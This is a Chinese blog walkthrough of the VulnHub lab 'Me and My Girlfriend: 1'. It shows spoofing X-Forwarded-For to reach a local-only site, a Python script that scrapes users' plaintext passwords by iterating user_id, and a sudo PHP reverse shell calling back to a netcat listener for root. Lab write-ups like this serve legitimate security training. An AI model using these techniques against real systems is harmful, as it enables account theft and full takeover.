vulnhub靶机实战

1.靶机地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/

2.先看描述(要求)

  • 通过这个我们可以知道我们需要找到alice隐藏的“东西”,说不定就是flag噢!!
  • 这是一个初级难度,我们的目标是拿到2个flag,在哪呢???自己找

3.主机,端口发现

在vmware或者vitrualbox中导入靶机并启动,会自动获取ip地址,页面如下

我们先看下当前网络内的存活主机都有哪些:

因为我的内网里面虚拟机开的比较多,所以不好分辨哪台是靶机,这种情况的话你可以通过mac地址去匹配对应的ip地址,如上

靶机mac地址查看在虚拟机——〉右键设置——〉网络适配器——〉高级

然后扫描靶机开放了哪些端口

我们可以看到开启了80端口和22端口,每个端口对应着开启的服务如下:

参考链接:https://blog.csdn.net/wangye1989_0226/article/details/72961400

端口号 服务
80 http 用于万维网(WWW)服务的超文本传输协议(HTTP)
22 ssh 安全 Shell(SSH)服务

开启了80端口说明开启了http服务,访问地址查看web服务

果不其然,发现请求被拒绝,提示我们只能通过本地去访问,我们查看源码发现让我们使用x-forwarded-for

我们抓包加入x-forwarded-for:127.0.0.1成功访问

GET / HTTP/1.1
Host: 192.168.33.65
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
x-forwarded-for:127.0.0.1
Upgrade-Insecure-Requests: 1

我们发现有注册登录框(注意后面每一个页面请求都需要加上本地访问噢!),我们注册一个账户并登陆发现有一个profile页面后面接了一个user_id的参数,页面直接显示出我们的用户名密码出来。

我们尝试修改user_id=1,发现显示了别人的信息,不妨写个脚本爆破一下所有的用户名密码瞅瞅

python脚本:(python学的不精,大家可以参考参考自行写脚本爆破!)

import re
import requests if __name__ == '__main__':
for user_id in range(1,13):
burp0_url = f"http://192.168.33.65:80/index.php?page=profile&user_id={user_id}"
burp0_cookies = {"PHPSESSID": "ft21h9vkiehflhkv1qfago3c75"}
burp0_headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:92.0) Gecko/20100101 Firefox/92.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate", "Connection": "close", "x-forwarded-for": "127.0.0.1",
"Upgrade-Insecure-Requests": "1"}
requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies)
r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies).text
username = re.findall(r'<input type="text" name="username" id="username" value="(.*?)">',r)
passwd = re.findall(r'<input type="password" name="password" id="password" value="(.*?)">',r) if username[0]:
print(username[0] + ":" + passwd[0])

还记得我们的描述吗?不记得就回去看看吧!我们发现了alice的账户密码,还记得上面开启了22端口吗?所以我们可以ssh连接上alice的账户。进去就是一顿ls,发现啥也没有,通过ls -al发现了什么,.my_secret,居然有秘密文件夹,打开看看

成功发现了第一个flag,还记得我们总共有两个flag,看到上面提示需要我们通过root权限获得另一个flag。

4.反弹shell提权

首先查看自己可以以root权限执行什么命令,发现自己是可以以root权限执行php命令的,而php又是可以执行本地命令的,所以就相当于alice可以执行root命令。

反弹shell:

  1. 首先在kali上面监听10086端口

    nc -lvp 10086
  2. 然后靶机上的alice创建一个php反弹shell去连接它

    sudo /usr/bin/php -r '$sock=fsockopen("192.168.33.136",10086);exec("/bin/bash -i <&3 >&3 2>&3");'

    返回kali这边已经登录进root了,进去之后照例一顿乱瞅,成功获得第二个flag!!!


vulnhub靶机-Me and My Girlfriend: 1的更多相关文章

  1. vulnhub靶机Os-hackNos-1

    vulnhub靶机Os-hackNos-1 信息搜集 nmap -sP 192.168.114.0/24 找到开放机器192.168.114.140这台机器,再对这台靶机进行端口扫描. 这里对他的端口 ...

  2. vulnhub靶机之DC6实战(wordpress+nmap提权)

    0x00环境 dc6靶机下载地址:https://download.vulnhub.com/dc/DC-6.zip dc6以nat模式在vmware上打开 kali2019以nat模式启动,ip地址为 ...

  3. 对vulnhub靶机lampiao的getshell到脏牛提权获取flag

    前言: vulnhub里面的一个靶场,涉及到drupal7 cms远程代码执行漏洞(CVE-2018-7600)和脏牛提权. 靶机下载地址:https://mega.nz/#!aG4AAaDB!CBL ...

  4. Vulnhub靶场-Me and my girlfriend 学习笔记

    靶机下载地址:https://www.vulnhub.com/entry/me-and-my-girlfriend-1,409/ Description: This VM tells us that ...

  5. PJzhang:vulnhub靶机sunset系列SUNSET:TWILIGHT

    猫宁~~~ 地址:https://www.vulnhub.com/entry/sunset-twilight,512/ 关注工具和思路. nmap 192.168.43.0/24靶机IP192.168 ...

  6. vulnhub靶机练习-Os-Hax,详细使用

    Difficulty : Intermediate Flag : boot-root Learing : exploit | web application Security | Privilege ...

  7. vulnhub靶机练习-Os-hackNos-1,超详细使用

    第一次写自己总结的文章,之后也会有更新,目前还在初学阶段. 首先介绍一下靶机,靶机是 vulnhub Os-hackNos-1 简介: 难度容易到中, flag 两个 一个是普通用户的user.txt ...

  8. 脚本小子学习--vulnhub靶机DC8

    @ 目录 前言 一.环境搭建 二.目标和思路 三.实际操作 1.信息收集 2.getshell 总结 前言 通过一些靶机实战练习,学习使用现有的工具来成为脚本小子. 一.环境搭建 靶机:Linux虚拟 ...

  9. Vulnhub靶机渗透 -- DC6

    信息收集 开启了22ssh和80http端口 ssh可以想到的是爆破,又或者是可以在靶机上找到相应的靶机用户信息进行登录,首先看一下网站信息 结果发现打开ip地址,却显示找不到此网站 但是可以发现地址 ...

随机推荐

  1. C#与.NET、CLR、CLI是什么关系?什么是.NET框架

    1.C#与.NET.CLR.CLI是什么关系?什么是.NET框架?      这个问题好专业啊!一句话两句话还真不好说清.您听说过C++中有个COM的概念吧?您听说过JAVA里的虚拟机吧?CLR(公共 ...

  2. docker 安装Hive

    转自:https://www.cnblogs.com/upupfeng/p/13452385.html#%E9%83%A8%E7%BD%B2hive 使用docker快速搭建hive环境   记录一下 ...

  3. go语言 切片表达式

    切片表达式 切片的底层就是一个数组,所以我们可以基于数组通过切片表达式得到切片. 切片表达式中的low和high表示一个索引范围(左包含,右不包含),得到的切片长度=high-low,容量等于得到的切 ...

  4. sql函数大全

    sql函数大全 一.内部函数 1.内部合计函数 1)COUNT(*) 返回行数 2)COUNT(DISTINCT COLNAME) 返回指定列中唯一值的个数 3)SUM(COLNAME/EXPRESS ...

  5. Spring笔记(2)

    一.AOP简介 1.概念: 面向切面编程(Aspect-Oriented Programming),可以说是OOP(Object-Oriented Programing,面向对象编程)的补充和完善. ...

  6. Qt之类反射机制

    在java语言中,可以使用getObject(String)函数,从类型直接构建新的对象. 而在C++中是没有这种机制的,Qt虽然提供了元对象机制,但只可以获取对象的类名,不能反向构建. 所以搜索一下 ...

  7. Reinforcement Learning 强化学习入门

    https://www.zhihu.com/question/277325426 https://github.com/jinglescode/reinforcement-learning-tic-t ...

  8. 理解ASP.NET Core - [03] Dependency Injection

    注:本文隶属于<理解ASP.NET Core>系列文章,请查看置顶博客或点击此处查看全文目录 依赖注入 什么是依赖注入 简单说,就是将对象的创建和销毁工作交给DI容器来进行,调用方只需要接 ...

  9. LeetCode通关:通过排序一次秒杀五道题,舒服!

    刷题路线参考:https://github.com/chefyuan/algorithm-base 大家好,我是拿输出博客督促自己刷题的老三,前面学习了十大排序:万字长文|十大基本排序,一次搞定!,接 ...

  10. Docker编排工具Docker Compose的使用

    一.安装docker compose 官网推荐方式之一: sudo curl -L "https://github.com/docker/compose/releases/download/ ...